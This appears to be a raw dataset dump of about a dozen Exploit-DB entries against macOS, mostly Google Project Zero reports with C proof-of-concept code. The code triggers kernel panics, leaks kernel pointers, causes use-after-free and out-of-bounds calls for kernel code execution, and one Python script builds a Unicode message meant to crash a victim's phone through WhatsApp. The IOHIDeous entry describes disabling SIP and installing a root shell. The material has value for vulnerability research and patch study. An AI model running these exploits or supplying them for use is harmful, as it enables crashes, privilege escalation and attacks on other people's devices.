deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42046
Description: Apple macOS - '32-bit syscall exit' Kernel Register Leak
Type: dos
Platform: macos
Date: 2017-05-22
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149

The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
binaries in compatibility mode. 32-bit binaries use partly separate
syscall entry and exit paths.

To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
turn calls return_from_trap, which is implemented in
osfmk/x86_64/idt64.s.

return_from_trap() normally branches into return_to_user relatively
quickly, which then, depending on the stack segment selector, branches
into either L_64bit_return or L_32bit_return. While the L_64bit_return
path restores all userspace registers, the L_32bit_return path only
restores the registers that are accessible in compatibility mode; the
registers r8 to r15 are not restored.

This is bad because, although switching to compatibility mode makes it
impossible to directly access r8..r15, the register contents are
preserved, and switching back to 64-bit mode makes the 64-bit
registers accessible again. Since the GDT always contains user code
segments for both compatibility mode and 64-bit mode, an unprivileged
32-bit process can leak kernel register contents as follows:

 - make a normal 32-bit syscall
 - switch to 64-bit mode (e.g. by loading the 64-bit user code segment
   using iret)
 - store the contents of r8..r15
 - switch back to compatibility mode (e.g. by loading the 32-bit user
   code segment using iret)

The attached PoC demonstrates the issue by dumping the contents of
r8..r15. Usage:

$ ./leakregs 
r8 = 0xffffff801d3872a8
r9 = 0xffffff8112abbec8
r10 = 0xffffff801f962240
r11 = 0xffffff8031d52bb0
r12 = 0x12
r13 = 0xffffff80094018f0
r14 = 0xffffff801cb59ea0
r15 = 0xffffff801cb59ea0

It seems like these are various types of kernel pointers, including
kernel text pointers.

If you want to compile the PoC yourself, you'll have to adjust the
path to nasm in compile.sh, then run ./compile.sh.

This bug was verified using the following kernel version:
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan  9 23:07:29 PST 2017;
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42046.zip
Exploit-DB #43318
Description: Apple macOS - 'necp_get_socket_attributes' so_pcb Type Confusion
Type: dos
Platform: macos
Date: 2017-12-11
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1392&desc=2

When getsockopt() [edited; original report said "setsockopt"] is called on any socket with level SOL_SOCKET and optname SO_NECP_ATTRIBUTES, necp_get_socket_attributes is invoked.
necp_get_socket_attributes() unconditionally calls sotoinpcb(so):

    errno_t
    necp_get_socket_attributes(struct socket *so, struct sockopt *sopt)
    {
            int error = 0;
            u_int8_t *buffer = NULL;
            u_int8_t *cursor = NULL;
            size_t valsize = 0;
            struct inpcb *inp = sotoinpcb(so);

            if (inp->inp_necp_attributes.inp_domain != NULL) {
                    valsize += sizeof(struct necp_tlv_header) + strlen(inp->inp_necp_attributes.inp_domain);
            }
    [...]
    }

sotoinpcb() causes type confusion if so->so_pcb is of an unexpected type (because the socket is not an IPv4/IPv6 socket):

    #define sotoinpcb(so) ((struct inpcb *)(so)->so_pcb)

If necp_get_socket_attributes() is called on a UNIX domain socket, this will cause the members of inp->inp_necp_attributes to be read from type-confused, probably also out-of-bounds memory behind the actual so->so_pcb (which is of type `struct unpcb`, which looks much smaller than `struct inpcb`).


To trigger this bug, compile the following code, run it, and cause some system activity, e.g. by launching the browser (the PoC won't crash if so->so_pcb contains NULLs in the right spots).

==============
*/

#include <sys/types.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <err.h>
#include <unistd.h>

#define SO_NECP_ATTRIBUTES 0x1109

int main(void) {
  while (1) {
    int s = socket(AF_UNIX, SOCK_STREAM, 0);
    if (s == -1)
      err(1, "socket");
    getsockopt(s, SOL_SOCKET, SO_NECP_ATTRIBUTES, NULL, NULL);
    close(s);
  }
}
/*
==============

On macOS 10.13 (17A405), this causes the following crash:

==============
*** Panic Report ***
panic(cpu 2 caller 0xffffff800e78a611): Kernel trap at 0xffffff800e976930, type 14=page fault, registers:
CR0: 0x[PII_REDACTED]01003b, CR2: 0x000000fa000000cc, CR3: 0x[PII_REDACTED]037073, CR4: 0x[PII_REDACTED]1627e0
RAX: 0x000000fa000000cc, RBX: 0x000000fa000000cb, RCX: 0xffffff800eb90aad, RDX: 0xffffff800eb90dcc
RSP: 0xffffff8018de3e70, RBP: 0xffffff8018de3e90, RSI: 0xffffff8018de3ef0, RDI: 0xffffff8032ac66a8
R8:  0x[PII_REDACTED]000001, R9:  0xffffffff00000000, R10: 0x[PII_REDACTED]000000, R11: 0x[PII_REDACTED]000246
R12: 0xffffff80357cf7d0, R13: 0xffffff8032d69a08, R14: 0xffffff8018de3ef0, R15: 0xffffff8032ac66a8
RFL: 0x[PII_REDACTED]010206, RIP: 0xffffff800e976930, CS:  0x[PII_REDACTED]000008, SS:  0x[PII_REDACTED]000010
Fault CR2: 0x000000fa000000cc, Error code: 0x[PII_REDACTED]000000, Fault CPU: 0x2, PL: 0, VF: 1
==============

This bug should be usable for disclosing kernel memory.
*/
Exploit-DB #42047
Description: Apple macOS - 'stackshot' Raw Frame Pointers
Type: dos
Platform: macos
Date: 2017-05-22
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164

This is an issue that allows unentitled root to read kernel frame
pointers, which might be useful in combination with a kernel memory
corruption bug.

By design, the syscall stack_snapshot_with_config() permits unentitled
root to dump information about all user stacks and kernel stacks.
While a target thread, along with the rest of the system, is frozen,
machine_trace_thread64() dumps its kernel stack.
machine_trace_thread64() walks up the kernel stack using the chain of
saved RBPs. It dumps the unslid kernel text pointers together with
unobfuscated frame pointers.

The attached PoC dumps a stackshot into the file stackshot_data.bin
when executed as root. The stackshot contains data like this:

00000a70  de 14 40 00 80 ff ff ff  a0 be 08 77 80 ff ff ff  |..@........w....|
00000a80  7b b8 30 00 80 ff ff ff  20 bf 08 77 80 ff ff ff  |{.0..... ..w....|
00000a90  9e a6 30 00 80 ff ff ff  60 bf 08 77 80 ff ff ff  |..0.....`..w....|
00000aa0  5d ac 33 00 80 ff ff ff  b0 bf 08 77 80 ff ff ff  |].3........w....|

The addresses on the left are unslid kernel text pointers; the
addresses on the right are valid kernel stack pointers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42047.zip
Exploit-DB #43415
Description: Apple macOS - IOHIDSystem Kernel Read/Write
Type: dos
Platform: macos
Date: 2018-01-01
Author: Siguza

Exploit:
Sources:
https://siguza.github.io/IOHIDeous/
https://github.com/Siguza/IOHIDeous/

IOHIDeous
A macOS kernel exploit based on an IOHIDFamily 0day.

Write-up here: https://siguza.github.io/IOHIDeous/

Notice
The prefetch timing attack I'm using for hid for some reason doesn't work on High Sierra 10.13.2 anymore, and I don't feel like investigating that. Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary - reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.

Usage
The exploit consists of three parts:

poc panics the kernel to demonstrate the present of a memory corruption, should work on all macOS versions.
leak leaks the kernel slide, could be adapted to other versions but as-is works only on High Sierra.
hid achieves full kernel r/w, tested only on Sierra and High Sierra (up to & including 10.13.1), might work on earlier versions too.
poc and leak need to be run as the user that is currently logged in via the GUI, and they log you out in order to perform the exploit. hid on the other hand, gives you four options for a first argument:

steal requires to be run as root and SIP to be disabled, but leaves you logged in the entire time.
kill requires root and forces a dirty logout by killing WindowServer.
logout if executed as root or the currently logged in user, logs you out via launchctl. Otherwise tries to log you out via AppleScript, and then falls back to wait.
wait simply waits for a logout, shutdown or reboot to occur.
Additionally you can specify a second argument persist. If given, hid will permanently disable SIP and AMFI, and install a root shell in /System/pwned.

leak and hid should be run either via SSH or from a screen session, if you wish to observe their output.

Building
Should all be self-explanatory:

make all
make poc
make leak
make hid
make clean


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43415.zip
Exploit-DB #43327
Description: Apple macOS - Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig
Type: dos
Platform: macos
Date: 2017-12-12
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x921,  // GetLinkConfig
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
Exploit-DB #45891
Description: Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)
Type: dos
Platform: macos
Date: 2018-11-20
Author: Fabiano Anemone

Exploit:
/*
# Exploit Title: MacOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)
# Date: 2018-07-30
# Exploit Author: Fabiano Anemone
# Vendor Homepage: https://www.apple.com/
# Version: iOS 11.4.1 / MacOS 10.13.6
# Tested on: iOS / MacOS
# CVE: Not assigned
# Tweet: https://twitter.com/anoane/status/[PII_REDACTED]17451520

# iOS 11 / MacOS 10.13 - workq_kernreturn syscall local DoS
# workq_kernreturn_dos.c
# workq_kernreturn_dos
# Created by FABIANO ANEMONE (@ on 7/30/18.
# Copyright © 2018 FABIANO ANEMONE (fabiano.anemone@gmail.com). All rights reserved.
# Reported to product-security@apple.com on 7/30/18
# Fixed in Mojave.
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/errno.h>

#define WQOPS_THREAD_WORKLOOP_RETURN 0x100    /* parks the thread after delivering the passed kevent array */

int workq_kernreturn(int options, user_addr_t item, int affinity, int prio) {
    return syscall(SYS_workq_kernreturn, options, item, affinity, prio);
}

int main(int argc, const char * argv[]) {
    //short version that fits one tweet:
    //syscall(368,256,1,1);
    
    errno = 0;
    user_addr_t any_non_zero_address = 1;
    int res = workq_kernreturn(WQOPS_THREAD_WORKLOOP_RETURN, any_non_zero_address, 1, 0);
    // MacOS 10.13.X and iOS 11.X will panic at this point
    printf("workq_kernreturn: %d - res: %d - errno: %d\n", 0, res, errno);
    return 0;
}
Exploit-DB #44561
Description: Apple macOS 10.13.2 - Double mach_port_deallocate in kextd due to Failure to Comply with MIG Ownership Rules
Type: dos
Platform: macos
Date: 2018-04-30
Author: Google Security Research

Exploit:
Here's a kextd method exposed via MIG (com.apple.KernelExtensionServer)

  kern_return_t _kextmanager_unlock_kextload(
      mach_port_t server,
      mach_port_t client)
  {
      kern_return_t mig_result = KERN_FAILURE;
      
      if (gClientUID != 0) {
          OSKextLog(/* kext */ NULL,
              kOSKextLogErrorLevel | kOSKextLogIPCFlag,
              "Non-root kextutil doesn't need to lock/unlock.");
          mig_result = KERN_SUCCESS;
          goto finish;
      }
      
      if (client != (mach_port_t)dispatch_source_get_handle(_gKextutilLock)) {
          OSKextLog(/* kext */ NULL,
              kOSKextLogErrorLevel | kOSKextLogIPCFlag,
              "%d not used to lock for kextutil.", client);
          goto finish;
      }

      removeKextutilLock();
      
      mig_result = KERN_SUCCESS;
      
  finish:    
      // we don't need the extra send right added by MiG
      mach_port_deallocate(mach_task_self(), client);
      
      return mig_result;
  }

If the client has UID 0 but passes an invalid client port this code will
drop a UREF on client port then return KERN_FAILURE.

Returning KERN_FAILURE in MIG means all resources will be released which will
cause client to be passed to mach_port_deallocate again, even though only 
one UREF was taken.

You'll have to use a debugger attached to kextd to see this behaviour.

This class of bug is exploitable; please see the writeup for mach_portal from 2016
where I exploited a similar issue [https://bugs.chromium.org/p/project-zero/issues/detail?id=959]
The TL;DR is that an attacker can drop an extra UREF on any send rights in kextd for which the
attacker also has a send right; you could use this to cause a name for a privileged service
to be deallocated then cause the name to be reused to name a port you control.

Exploitation of this would be a privesc from unentitled root to root with
com.apple.rootless.kext-management and com.apple.rootless.storage.KernelExtensionManagement entitlements,
which at least last time I looked was equal to kernel code execution.

tested on MacOS 10.13.2


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44561.zip
Exploit-DB #45391
Description: Apple macOS 10.13.4 - Denial of Service (PoC)
Type: dos
Platform: macos
Date: 2018-09-12
Author: Sriram

Exploit:
# Exploit Title: Apple MacOS 10.13.4 - Denial of Service (PoC)
# Date: 2018-09-10
# Exploit Author: Sriram (@Sri_Hxor)
# Vendor Homepage: https://support.apple.com/en-in/HT208848
# Tested on: macOS High Sierra 10.13.4, iOS 11.3, tvOS 11.3, watchOS 4.3.0
# CVE : CVE-2018-4240 (2018)
# POC : https://medium.com/@thesriram/cold-war-between-single-message-vs-mbbs-d5e004d64eaf

# Crashing Phone via RLM character. 
# Steps to Reproduce, 

# Run the below python script as "python apple.py", it will create a file called "dos_apple.txt"
# Copy the text from the generated apple.txt
# Paste it in WhatsApp and send it, victim gotta click and it will start crashing

end = "&#8238;ereh-hcuot-t'nod"
dos = "&lrm;&rlm;"
payload = dos*1000 + end
try:
    f=open("dos_apple.txt","w")
    print "[+] Creating %s DOS payload for apple..." % ((len(payload)-len(end))/len(dos))
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "Can't create a file, check DIR permissions?"
Exploit-DB #41791
Description: Apple macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spawn
Type: dos
Platform: macos
Date: 2017-04-04
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104

exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.

It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)

For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).

task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.

This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.

Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/

// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn

exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.

It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)

For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).

task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.

This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.

Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>

#include <mach/mach.h>

int main() {

  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);

  posix_spawnattr_t attrs;
  posix_spawnattr_init(&attrs);
  posix_spawnattr_setauditsessionport_np(&attrs,p);

  char* _argv[] = {"/usr/bin/id", NULL};
  int child_pid = 0;
  int spawn_err = posix_spawn(&child_pid,
                              "/usr/bin/id",
                              NULL, // file actions
                              &attrs,
                              _argv,
                              NULL);
}
Exploit-DB #44235
Description: Apple macOS Sierra 10.12.1 - 'IOFireWireFamily' FireWire Port Denial of Service
Type: dos
Platform: macos
Date: 2017-08-19
Author: Brandon Azad

Exploit:
/*
 * IOFireWireFamily-overflow.c
 * Brandon Azad
 *
 * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
*/

#include <IOKit/IOKitLib.h>
#include <stdlib.h>
#include <string.h>

int main() {
	int ret = 0;
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
			IOServiceMatching("IOFireWireLocalNode"));
	if (service == IO_OBJECT_NULL) {
		ret = 1;
		goto fail1;
	}
	io_connect_t connect;
	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
	IOObjectRelease(service);
	if (kr != KERN_SUCCESS) {
		ret = 2;
		goto fail1;
	}
	// localConfigDirectory_Create
	uint64_t directory = 0;
	uint32_t output_count = 1;
	kr = IOConnectCallMethod(connect, 16,
			NULL, 0, NULL, 0,
			&directory, &output_count, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 3;
		goto fail2;
	}
	// localConfigDirectory_addEntry_Buffer
	uint32_t size = 0x100000;
	void *buffer = malloc(size);
	memset(buffer, 0xaa, size);
	uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
	kr = IOConnectCallMethod(connect, 17,
			addEntry_Buffer_args,
			sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
			NULL, 0,
			NULL, NULL, NULL, NULL);
	free(buffer);
	if (kr != KERN_SUCCESS) {
		ret = 4;
		goto fail2;
	}
	// localConfigDirectory_Publish
	kr = IOConnectCallMethod(connect, 21,
			&directory, 1, NULL, 0,
			NULL, NULL, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 5;
		goto fail2;
	}
fail2:
	IOServiceClose(connect);
fail1:
	return ret;
}
Exploit-DB #44236
Description: Apple macOS Sierra 10.12.3 - 'IOFireWireFamily-null-deref' FireWire Port Denial of Service
Type: dos
Platform: macos
Date: 2017-08-16
Author: Brandon Azad

Exploit:
/*
 * IOFireWireFamily-null-deref.c
 * Brandon Azad
 *
 * NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44236.zip
*/


#include <IOKit/IOKitLib.h>

int main() {
	int ret = 0;
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
			IOServiceMatching("IOFireWireLocalNode"));
	if (service == IO_OBJECT_NULL) {
		ret = 1;
		goto fail1;
	}
	io_connect_t connect;
	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
	IOObjectRelease(service);
	if (kr != KERN_SUCCESS) {
		ret = 2;
		goto fail1;
	}
	// isochChannel_Create
	uint64_t args[3] = { 0, 0x100, 0x100 };
	uint64_t handle = 0;
	uint32_t output_count = 1;
	kr = IOConnectCallMethod(connect, 57,
			args, sizeof(args) / sizeof(*args), NULL, 0,
			&handle, &output_count, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 3;
		goto fail2;
	}
	// setAsyncRef_IsochChannelForceStop
	kr = IOConnectCallMethod(connect, 90,
			&handle, 1, NULL, 0,
			NULL, NULL, NULL, NULL);
	if (kr != KERN_SUCCESS) {
		ret = 4;
		goto fail2;
	}
fail2:
	IOServiceClose(connect);
fail1:
	return ret;
}